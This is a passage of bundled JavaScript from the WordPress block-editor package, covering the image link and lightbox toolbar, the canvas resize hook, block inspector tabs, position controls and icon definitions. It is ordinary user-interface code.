62341 (destination) => destination.linkDestination === linkDestination
62342 ) || {}).title;
62343 const PopoverChildren = () => {
62344 if (lightboxEnabled && showLightboxSetting && !url && !isEditingLink) {
62345 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-url-popover__expand-on-click", children: [
62346 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: fullscreen_default }),
62347 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "text", children: [
62348 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("Enlarge on click") }),
62349 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "description", children: (0,external_wp_i18n_namespaceObject.__)("Scales the image with a lightbox effect") })
62350 ] }),
62351 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62352 external_wp_components_namespaceObject.Button,
62353 {
62354 icon: link_off_default,
62355 label: (0,external_wp_i18n_namespaceObject.__)("Disable enlarge on click"),
62356 onClick: () => {
62357 onSetLightbox?.(false);
62358 },
62359 size: "compact"
62360 }
62361 )
62362 ] });
62363 } else if (!url || isEditingLink) {
62364 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62365 url_popover_default.LinkEditor,
62366 {
62367 className: "block-editor-format-toolbar__link-container-content",
62368 value: linkEditorValue,
62369 onChangeInputValue: setUrlInput,
62370 onSubmit: onSubmitLinkChange(),
62371 autocompleteRef
62372 }
62373 );
62374 } else if (url && !isEditingLink) {
62375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
62376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62377 url_popover_default.LinkViewer,
62378 {
62379 className: "block-editor-format-toolbar__link-container-content",
62380 url,
62381 onEditLinkClick: startEditLink,
62382 urlLabel
62383 }
62384 ),
62385 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62386 external_wp_components_namespaceObject.Button,
62387 {
62388 icon: link_off_default,
62389 label: (0,external_wp_i18n_namespaceObject.__)("Remove link"),
62390 onClick: () => {
62391 onLinkRemove();
62392 resetLightbox?.();
62393 },
62394 size: "compact"
62395 }
62396 )
62397 ] });
62398 }
62399 };
62400 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
62401 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62402 external_wp_components_namespaceObject.ToolbarButton,
62403 {
62404 icon: link_default,
62405 className: "components-toolbar__control",
62406 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
62407 "aria-expanded": isOpen,
62408 onClick: openLinkUI,
62409 ref: setPopoverAnchor,
62410 isActive: !!url || lightboxEnabled && showLightboxSetting
62411 }
62412 ),
62413 isOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62414 url_popover_default,
62415 {
62416 ref: wrapperRef,
62417 anchor: popoverAnchor,
62418 onFocusOutside: onFocusOutside(),
62419 onClose: closeLinkUI,
62420 renderSettings: hideLightboxPanel ? () => advancedOptions : null,
62421 additionalControls: showLinkEditor && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.NavigableMenu, { children: [
62422 getLinkDestinations().map((link) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62423 external_wp_components_namespaceObject.MenuItem,
62424 {
62425 icon: link.icon,
62426 iconPosition: "left",
62427 onClick: () => {
62428 setUrlInput(null);
62429 onSetHref(link.url);
62430 stopEditLink();
62431 },
62432 children: link.title
62433 },
62434 link.linkDestination
62435 )),
62436 showLightboxSetting && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62437 external_wp_components_namespaceObject.MenuItem,
62438 {
62439 className: "block-editor-url-popover__expand-on-click",
62440 icon: fullscreen_default,
62441 info: (0,external_wp_i18n_namespaceObject.__)(
62442 "Scale the image with a lightbox effect."
62443 ),
62444 iconPosition: "left",
62445 onClick: () => {
62446 setUrlInput(null);
62447 onChangeUrl({
62448 linkDestination: LINK_DESTINATION_NONE,
62449 href: ""
62450 });
62451 onSetLightbox?.(true);
62452 stopEditLink();
62453 },
62454 children: (0,external_wp_i18n_namespaceObject.__)("Enlarge on click")
62455 },
62456 "expand-on-click"
62457 )
62458 ] }),
62459 offset: 13,
62460 children: PopoverChildren()
62461 }
62462 )
62463 ] });
62464};
62465
62466
62467;// ./node_modules/@wordpress/block-editor/build-module/components/preview-options/index.js
62468
62469function PreviewOptions() {
62470 external_wp_deprecated_default()("wp.blockEditor.PreviewOptions", {
62471 version: "6.5"
62472 });
62473 return null;
62474}
62475
62476
62477;// ./node_modules/@wordpress/block-editor/build-module/components/use-resize-canvas/index.js
62478
62479function useResizeCanvas(deviceType) {
62480 const [actualWidth, updateActualWidth] = (0,external_wp_element_namespaceObject.useState)(window.innerWidth);
62481 (0,external_wp_element_namespaceObject.useEffect)(() => {
62482 if (deviceType === "Desktop") {
62483 return;
62484 }
62485 const resizeListener = () => updateActualWidth(window.innerWidth);
62486 window.addEventListener("resize", resizeListener);
62487 return () => {
62488 window.removeEventListener("resize", resizeListener);
62489 };
62490 }, [deviceType]);
62491 const getCanvasWidth = (device) => {
62492 let deviceWidth;
62493 switch (device) {
62494 case "Tablet":
62495 deviceWidth = 780;
62496 break;
62497 case "Mobile":
62498 deviceWidth = 360;
62499 break;
62500 default:
62501 return null;
62502 }
62503 return deviceWidth < actualWidth ? deviceWidth : actualWidth;
62504 };
62505 const contentInlineStyles = (device) => {
62506 const height = device === "Mobile" ? "768px" : "1024px";
62507 const marginVertical = "40px";
62508 const marginHorizontal = "auto";
62509 switch (device) {
62510 case "Tablet":
62511 case "Mobile":
62512 return {
62513 width: getCanvasWidth(device),
62514 // Keeping margin styles separate to avoid warnings
62515 // when those props get overridden in the iframe component
62516 marginTop: marginVertical,
62517 marginBottom: marginVertical,
62518 marginLeft: marginHorizontal,
62519 marginRight: marginHorizontal,
62520 height,
62521 overflowY: "auto"
62522 };
62523 default:
62524 return {
62525 marginLeft: marginHorizontal,
62526 marginRight: marginHorizontal
62527 };
62528 }
62529 };
62530 return contentInlineStyles(deviceType);
62531}
62532
62533
62534;// ./node_modules/@wordpress/block-editor/build-module/components/block-inspector/edit-contents-button.js
62535
62536
62537
62538
62539
62540function EditContentsButton({ clientId }) {
62541 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
62542 const { attributes } = (0,external_wp_data_namespaceObject.useSelect)(
62543 (select) => {
62544 return {
62545 attributes: select(store).getBlockAttributes(clientId)
62546 };
62547 },
62548 [clientId]
62549 );
62550 if (!attributes?.metadata?.patternName) {
62551 return null;
62552 }
62553 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62554 external_wp_components_namespaceObject.Button,
62555 {
62556 className: "block-editor-block-inspector-edit-contents-button",
62557 __next40pxDefaultSize: true,
62558 variant: "secondary",
62559 onClick: () => {
62560 const { patternName, ...metadataWithoutPatternName } = attributes?.metadata ?? {};
62561 updateBlockAttributes(clientId, {
62562 ...attributes,
62563 metadata: metadataWithoutPatternName
62564 });
62565 },
62566 children: (0,external_wp_i18n_namespaceObject.__)("Edit contents")
62567 }
62568 );
62569}
62570
62571
62572;// ./node_modules/@wordpress/block-editor/build-module/components/skip-to-selected-block/index.js
62573
62574
62575
62576
62577
62578
62579
62580function SkipToSelectedBlock() {
62581 const selectedBlockClientId = (0,external_wp_data_namespaceObject.useSelect)(
62582 (select) => select(store).getBlockSelectionStart(),
62583 []
62584 );
62585 const ref = (0,external_wp_element_namespaceObject.useRef)();
62586 useBlockElementRef(selectedBlockClientId, ref);
62587 const onClick = () => {
62588 ref.current?.focus();
62589 };
62590 return selectedBlockClientId ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62591 external_wp_components_namespaceObject.Button,
62592 {
62593 __next40pxDefaultSize: true,
62594 variant: "secondary",
62595 className: "block-editor-skip-to-selected-block",
62596 onClick,
62597 children: (0,external_wp_i18n_namespaceObject.__)("Skip to the selected block")
62598 }
62599 ) : null;
62600}
62601
62602
62603;// ./node_modules/@wordpress/block-editor/build-module/components/multi-selection-inspector/index.js
62604
62605
62606
62607
62608
62609
62610
62611function MultiSelectionInspector() {
62612 const selectedBlockCount = (0,external_wp_data_namespaceObject.useSelect)(
62613 (select) => select(store).getSelectedBlockCount(),
62614 []
62615 );
62616 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
62617 external_wp_components_namespaceObject.__experimentalHStack,
62618 {
62619 justify: "flex-start",
62620 spacing: 2,
62621 className: "block-editor-multi-selection-inspector__card",
62622 children: [
62623 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: copy_default, showColors: true }),
62624 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-multi-selection-inspector__card-title", children: (0,external_wp_i18n_namespaceObject.sprintf)(
62625 /* translators: %d: number of blocks */
62626 (0,external_wp_i18n_namespaceObject._n)("%d Block", "%d Blocks", selectedBlockCount),
62627 selectedBlockCount
62628 ) })
62629 ]
62630 }
62631 );
62632}
62633
62634
62635;// ./node_modules/@wordpress/icons/build-module/library/cog.js
62636
62637
62638var cog_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62639 external_wp_primitives_namespaceObject.Path,
62640 {
62641 fillRule: "evenodd",
62642 d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",
62643 clipRule: "evenodd"
62644 }
62645) });
62646
62647
62648;// ./node_modules/@wordpress/icons/build-module/library/styles.js
62649
62650
62651var styles_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62652 external_wp_primitives_namespaceObject.Path,
62653 {
62654 fillRule: "evenodd",
62655 clipRule: "evenodd",
62656 d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z"
62657 }
62658) });
62659
62660
62661;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/utils.js
62662
62663
62664const TAB_SETTINGS = {
62665 name: "settings",
62666 title: (0,external_wp_i18n_namespaceObject.__)("Settings"),
62667 value: "settings",
62668 icon: cog_default
62669};
62670const TAB_STYLES = {
62671 name: "styles",
62672 title: (0,external_wp_i18n_namespaceObject.__)("Styles"),
62673 value: "styles",
62674 icon: styles_default
62675};
62676const TAB_CONTENT = {
62677 name: "content",
62678 title: (0,external_wp_i18n_namespaceObject.__)("Content"),
62679 value: "content",
62680 icon: page_default
62681};
62682const TAB_LIST_VIEW = {
62683 name: "list",
62684 title: (0,external_wp_i18n_namespaceObject.__)("List View"),
62685 value: "list-view",
62686 icon: list_view_default
62687};
62688
62689
62690;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/advanced-controls-panel.js
62691
62692
62693
62694
62695
62696const AdvancedControls = () => {
62697 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(InspectorAdvancedControls.slotName);
62698 const privateFills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(
62699 PrivateInspectorControlsAllowedBlocks.name
62700 );
62701 const hasFills = Boolean(fills && fills.length);
62702 const hasPrivateFills = Boolean(privateFills && privateFills.length);
62703 if (!hasFills && !hasPrivateFills) {
62704 return null;
62705 }
62706 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
62707 external_wp_components_namespaceObject.PanelBody,
62708 {
62709 className: "block-editor-block-inspector__advanced",
62710 title: (0,external_wp_i18n_namespaceObject.__)("Advanced"),
62711 initialOpen: false,
62712 children: [
62713 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "advanced" }),
62714 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateInspectorControlsAllowedBlocks.Slot, {})
62715 ]
62716 }
62717 );
62718};
62719var advanced_controls_panel_default = AdvancedControls;
62720
62721
62722;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/position-controls-panel.js
62723
62724
62725
62726
62727
62728
62729
62730
62731
62732const PositionControlsPanel = () => {
62733 const { selectedClientIds, selectedBlocks, hasPositionAttribute } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
62734 const { getBlocksByClientId, getSelectedBlockClientIds } = select(store);
62735 const selectedBlockClientIds = getSelectedBlockClientIds();
62736 const _selectedBlocks = getBlocksByClientId(
62737 selectedBlockClientIds
62738 );
62739 return {
62740 selectedClientIds: selectedBlockClientIds,
62741 selectedBlocks: _selectedBlocks,
62742 hasPositionAttribute: _selectedBlocks?.some(
62743 ({ attributes }) => !!attributes?.style?.position?.type
62744 )
62745 };
62746 }, []);
62747 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
62748 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
62749 function resetPosition() {
62750 if (!selectedClientIds?.length || !selectedBlocks?.length) {
62751 return;
62752 }
62753 const attributesByClientId = Object.fromEntries(
62754 selectedBlocks?.map(({ clientId, attributes }) => [
62755 clientId,
62756 {
62757 style: utils_cleanEmptyObject({
62758 ...attributes?.style,
62759 position: {
62760 ...attributes?.style?.position,
62761 type: void 0,
62762 top: void 0,
62763 right: void 0,
62764 bottom: void 0,
62765 left: void 0
62766 }
62767 })
62768 }
62769 ])
62770 );
62771 updateBlockAttributes(selectedClientIds, attributesByClientId, true);
62772 }
62773 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62774 external_wp_components_namespaceObject.__experimentalToolsPanel,
62775 {
62776 className: "block-editor-block-inspector__position",
62777 label: (0,external_wp_i18n_namespaceObject.__)("Position"),
62778 resetAll: resetPosition,
62779 dropdownMenuProps,
62780 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62781 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
62782 {
62783 isShownByDefault: hasPositionAttribute,
62784 label: (0,external_wp_i18n_namespaceObject.__)("Position"),
62785 hasValue: () => hasPositionAttribute,
62786 onDeselect: resetPosition,
62787 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "position" })
62788 }
62789 )
62790 }
62791 );
62792};
62793const PositionControls = () => {
62794 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(groups_groups_default.position.name);
62795 const hasFills = Boolean(fills && fills.length);
62796 if (!hasFills) {
62797 return null;
62798 }
62799 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PositionControlsPanel, {});
62800};
62801var position_controls_panel_default = PositionControls;
62802
62803
62804;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/settings-tab.js
62805
62806
62807
62808
62809const SettingsTab = ({ showAdvancedControls = false }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
62810 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, {}),
62811 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(position_controls_panel_default, {}),
62812 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "bindings" }),
62813 showAdvancedControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(advanced_controls_panel_default, {}) })
62814] });
62815var settings_tab_default = SettingsTab;
62816
62817
62818;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/styles-tab.js
62819
62820
62821
62822
62823
62824
62825const StylesTab = ({
62826 blockName,
62827 clientId,
62828 hasBlockStyles,
62829 isSectionBlock
62830}) => {
62831 const borderPanelLabel = useBorderPanelLabel({ blockName });
62832 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
62833 hasBlockStyles && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Styles"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_styles_default, { clientId }) }) }),
62834 !isSectionBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
62835 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62836 inspector_controls_default.Slot,
62837 {
62838 group: "color",
62839 label: (0,external_wp_i18n_namespaceObject.__)("Color"),
62840 className: "color-block-support-panel__inner-wrapper"
62841 }
62842 ),
62843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62844 inspector_controls_default.Slot,
62845 {
62846 group: "background",
62847 label: (0,external_wp_i18n_namespaceObject.__)("Background image")
62848 }
62849 ),
62850 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "filter" }),
62851 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62852 inspector_controls_default.Slot,
62853 {
62854 group: "typography",
62855 label: (0,external_wp_i18n_namespaceObject.__)("Typography")
62856 }
62857 ),
62858 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62859 inspector_controls_default.Slot,
62860 {
62861 group: "dimensions",
62862 label: (0,external_wp_i18n_namespaceObject.__)("Dimensions")
62863 }
62864 ),
62865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62866 inspector_controls_default.Slot,
62867 {
62868 group: "border",
62869 label: borderPanelLabel
62870 }
62871 ),
62872 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "styles" })
62873 ] })
62874 ] });
62875};
62876var styles_tab_default = StylesTab;
62877
62878
62879;// ./node_modules/@wordpress/block-editor/build-module/components/block-quick-navigation/index.js
62880
62881
62882
62883
62884
62885
62886
62887function BlockQuickNavigation({ clientIds, onSelect }) {
62888 if (!clientIds.length) {
62889 return null;
62890 }
62891 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: clientIds.map((clientId) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62892 BlockQuickNavigationItem,
62893 {
62894 onSelect,
62895 clientId
62896 },
62897 clientId
62898 )) });
62899}
62900function BlockQuickNavigationItem({ clientId, onSelect }) {
62901 const blockInformation = useBlockDisplayInformation(clientId);
62902 const blockTitle = useBlockDisplayTitle({
62903 clientId,
62904 context: "list-view"
62905 });
62906 const { isSelected } = (0,external_wp_data_namespaceObject.useSelect)(
62907 (select) => {
62908 const { isBlockSelected, hasSelectedInnerBlock } = select(store);
62909 return {
62910 isSelected: isBlockSelected(clientId) || hasSelectedInnerBlock(
62911 clientId,
62912 /* deep: */
62913 true
62914 )
62915 };
62916 },
62917 [clientId]
62918 );
62919 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
62920 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62921 external_wp_components_namespaceObject.Button,
62922 {
62923 __next40pxDefaultSize: true,
62924 isPressed: isSelected,
62925 onClick: async () => {
62926 await selectBlock(clientId);
62927 if (onSelect) {
62928 onSelect(clientId);
62929 }
62930 },
62931 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { children: [
62932 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: blockInformation?.icon }) }),
62933 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { style: { textAlign: "left" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { children: blockTitle }) })
62934 ] })
62935 }
62936 );
62937}
62938
62939
62940;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/content-tab.js
62941
62942
62943
62944
62945const ContentTab = ({ contentClientIds }) => {
62946 if (!contentClientIds || contentClientIds.length === 0) {
62947 return null;
62948 }
62949 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Content"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockQuickNavigation, { clientIds: contentClientIds }) });
62950};
62951var content_tab_default = ContentTab;
62952
62953
62954;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/use-is-list-view-tab-disabled.js
62955const allowlist = ["core/navigation"];
62956const useIsListViewTabDisabled = (blockName) => {
62957 return !allowlist.includes(blockName);
62958};
62959var use_is_list_view_tab_disabled_default = useIsListViewTabDisabled;
62960
62961
62962;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/index.js
62963
62964
62965
62966
62967
62968
62969
62970
62971
62972
62973
62974
62975const { Tabs: inspector_controls_tabs_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
62976function InspectorControlsTabs({
62977 blockName,
62978 clientId,
62979 hasBlockStyles,
62980 tabs,
62981 isSectionBlock,
62982 contentClientIds
62983}) {
62984 const showIconLabels = (0,external_wp_data_namespaceObject.useSelect)((select) => {
62985 return select(external_wp_preferences_namespaceObject.store).get("core", "showIconLabels");
62986 }, []);
62987 const initialTabName = !use_is_list_view_tab_disabled_default(blockName) ? TAB_LIST_VIEW.name : void 0;
62988 const [selectedTabId, setSelectedTabId] = (0,external_wp_element_namespaceObject.useState)(
62989 initialTabName ?? tabs[0]?.name
62990 );
62991 (0,external_wp_element_namespaceObject.useEffect)(() => {
62992 if (initialTabName) {
62993 return;
62994 }
62995 if (tabs?.length && selectedTabId) {
62996 const activeTab = tabs.find(
62997 (tab) => tab.name === selectedTabId
62998 );
62999 if (!activeTab) {
63000 setSelectedTabId(tabs[0].name);
63001 }
63002 }
63003 }, [tabs, selectedTabId, initialTabName]);
63004 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-inspector__tabs", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
63005 inspector_controls_tabs_Tabs,
63006 {
63007 defaultTabId: initialTabName,
63008 selectedTabId,
63009 onSelect: setSelectedTabId,
63010 children: [
63011 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.TabList, { children: tabs.map(
63012 (tab) => showIconLabels ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.Tab, { tabId: tab.name, children: tab.title }, tab.name) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: tab.title, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63013 inspector_controls_tabs_Tabs.Tab,
63014 {
63015 tabId: tab.name,
63016 "aria-label": tab.title,
63017 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: tab.icon })
63018 }
63019 ) }, tab.name)
63020 ) }),
63021 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.TabPanel, { tabId: TAB_SETTINGS.name, focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(settings_tab_default, { showAdvancedControls: !!blockName }) }),
63022 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.TabPanel, { tabId: TAB_STYLES.name, focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
63023 styles_tab_default,
63024 {
63025 blockName,
63026 clientId,
63027 hasBlockStyles,
63028 isSectionBlock
63029 }
63030 ) }),
63031 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.TabPanel, { tabId: TAB_CONTENT.name, focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(content_tab_default, { contentClientIds }) }),
63032 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_tabs_Tabs.TabPanel, { tabId: TAB_LIST_VIEW.name, focusable: false, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default.Slot, { group: "list" }) })
63033 ]
63034 },
63035 clientId
63036 ) });
63037}
63038
63039
63040;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls-tabs/use-inspector-controls-tabs.js
63041
63042
63043
63044
63045
63046
63047
63048const use_inspector_controls_tabs_EMPTY_ARRAY = [];
63049function getShowTabs(blockName, tabSettings = {}) {
63050 if (tabSettings[blockName] !== void 0) {
63051 return tabSettings[blockName];
63052 }
63053 if (tabSettings.default !== void 0) {
63054 return tabSettings.default;
63055 }
63056 return true;
63057}
63058function useInspectorControlsTabs(blockName, contentClientIds, isSectionBlock, hasBlockStyles) {
63059 const tabs = [];
63060 const {
63061 bindings: bindingsGroup,
63062 border: borderGroup,
63063 color: colorGroup,
63064 default: defaultGroup,
63065 dimensions: dimensionsGroup,
63066 list: listGroup,
63067 position: positionGroup,
63068 styles: stylesGroup,
63069 typography: typographyGroup,
63070 effects: effectsGroup
63071 } = groups_groups_default;
63072 const listViewDisabled = use_is_list_view_tab_disabled_default(blockName);
63073 const listFills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(listGroup.name);
63074 const hasListFills = !listViewDisabled && !!listFills && listFills.length;
63075 const styleFills = [
63076 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(borderGroup.name) || [],
63077 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(colorGroup.name) || [],
63078 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(dimensionsGroup.name) || [],
63079 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(stylesGroup.name) || [],
63080 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(typographyGroup.name) || [],
63081 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(effectsGroup.name) || []
63082 ];
63083 const hasStyleFills = styleFills.length;
63084 const advancedFills = [
63085 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(InspectorAdvancedControls.slotName) || [],
63086 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(bindingsGroup.name) || []
63087 ];
63088 const settingsFills = [
63089 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(defaultGroup.name) || [],
63090 ...(0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(positionGroup.name) || [],
63091 ...hasListFills && hasStyleFills > 1 ? advancedFills : []
63092 ];
63093 const hasContentTab = !!(contentClientIds && contentClientIds.length > 0);
63094 if (hasListFills && !isSectionBlock) {
63095 tabs.push(TAB_LIST_VIEW);
63096 }
63097 if (hasContentTab) {
63098 tabs.push(TAB_CONTENT);
63099 }
63100 if (settingsFills.length && !isSectionBlock) {
63101 tabs.push(TAB_SETTINGS);
63102 }
63103 if (isSectionBlock ? hasBlockStyles : hasStyleFills) {
63104 tabs.push(TAB_STYLES);
63105 }
63106 const tabSettings = (0,external_wp_data_namespaceObject.useSelect)((select) => {
63107 return select(store).getSettings().blockInspectorTabs;
